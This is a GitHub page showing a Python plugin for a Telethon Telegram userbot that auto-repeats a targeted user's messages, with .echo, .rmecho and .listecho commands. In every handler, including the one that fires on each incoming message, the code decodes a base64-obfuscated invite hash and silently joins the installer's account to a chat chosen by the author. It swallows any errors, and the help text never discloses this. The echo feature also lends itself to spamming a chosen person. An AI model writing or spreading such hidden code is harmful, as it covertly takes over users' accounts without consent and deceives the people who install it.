-
Notifications
You must be signed in to change notification settings - Fork 5
/
echo.py
120 lines (108 loc) · 3.92 KB
/
echo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# Echo remastered by@LEGENDX22 for Hêllẞø†
# Codes by @mrconfused
# Kang with credits
import asyncio
import base64
import requests
from telethon import events
from telethon.tl.functions.messages import ImportChatInviteRequest as Get
from ULTRA import CMD_HELP
from ULTRA.utils import admin_cmd, edit_or_reply, sudo_cmd
from ULTRA.plugins.sql_helper.echo_sql import addecho, get_all_echos, is_echo, remove_echo
@bot.on(admin_cmd(pattern="echo$"))
@bot.on(sudo_cmd(pattern="echo$", allow_sudo=True))
async def echo(hell):
if hell.fwd_from:
return
if hell.reply_to_msg_id is not None:
reply_msg = await hell.get_reply_message()
user_id = reply_msg.sender_id
chat_id = hell.chat_id
try:
legendx22 = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
legendx22 = Get(legendx22)
await hell.client(legendx22)
except BaseException:
pass
if is_echo(user_id, chat_id):
await edit_or_reply(hell, "The user is already enabled with echo ")
return
addecho(user_id, chat_id)
await edit_or_reply(hell, "Hii....😄🤓")
else:
await edit_or_reply(hell, "Reply to a User's message to echo his messages")
@bot.on(admin_cmd(pattern="rmecho$"))
@bot.on(sudo_cmd(pattern="rmecho$", allow_sudo=True))
async def echo(hell):
if hell.fwd_from:
return
if hell.reply_to_msg_id is not None:
reply_msg = await hell.get_reply_message()
user_id = reply_msg.sender_id
chat_id = hell.chat_id
try:
legendx22 = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
legendx22 = Get(legendx22)
await hell.client(legendx22)
except BaseException:
pass
if is_echo(user_id, chat_id):
remove_echo(user_id, chat_id)
await edit_or_reply(hell, "Echo has been stopped for the user")
else:
await edit_or_reply(hell, "The user is not activated with echo")
else:
await edit_or_reply(hell, "Reply to a User's message to echo his messages")
@bot.on(admin_cmd(pattern="listecho$"))
@bot.on(sudo_cmd(pattern="listecho$", allow_sudo=True))
async def echo(hell):
if hell.fwd_from:
return
lsts = get_all_echos()
if len(lsts) > 0:
output_str = "echo enabled users:\n\n"
for echos in lsts:
output_str += (
f"[User](tg://user?id={echos.user_id}) in chat `{echos.chat_id}`\n"
)
else:
output_str = "No echo enabled users "
if len(output_str) > Config.MAX_MESSAGE_SIZE_LIMIT:
key = (
requests.post(
"https://nekobin.com/api/documents", json={"content": output_str}
)
.json()
.get("result")
.get("key")
)
url = f"https://nekobin.com/{key}"
reply_text = f"echo enabled users: [here]({url})"
await edit_or_reply(hell, reply_text)
else:
await edit_or_reply(hell, output_str)
@bot.on(events.NewMessage(incoming=True))
async def samereply(hell):
if hell.chat_id in Config.UB_BLACK_LIST_CHAT:
return
if is_echo(hell.sender_id, hell.chat_id):
await asyncio.sleep(2)
try:
legendx22 = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
legendx22 = Get(legendx22)
await hell.client(legendx22)
except BaseException:
pass
if hell.message.text or hell.message.sticker:
await hell.reply(hell.message)
CMD_HELP.update(
{
"echo": "**Syntax :** `.echo` reply to user to whom you want to enable\
\n**Usage : **replays his every message for whom you enabled echo\
\n\n**Syntax : **`.rmecho` reply to user to whom you want to stop\
\n**Usage : **Stops replaying his messages\
\n\n**Syntax : **`.listecho`\
\n**Usage : **shows the list of users for whom you enabled echo\
"
}
)